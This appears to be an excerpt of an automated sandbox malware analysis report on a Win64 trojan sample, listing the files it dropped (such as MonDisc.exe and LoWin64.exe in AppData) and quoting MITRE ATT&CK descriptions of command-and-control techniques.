Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\clip[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\json[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\LoWin64[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\json[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\json[2].json

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5maexcfi.2wq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iawzjmfe.lbd.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j14keemm.ett.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kex4skqp.05s.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lcnq5zao.a1a.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sxduuzil.qwb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ufkvmjmu.yu4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wmnevxak.5yw.ps1

C:\Users\user\AppData\Roaming\MonDisc.exe

C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre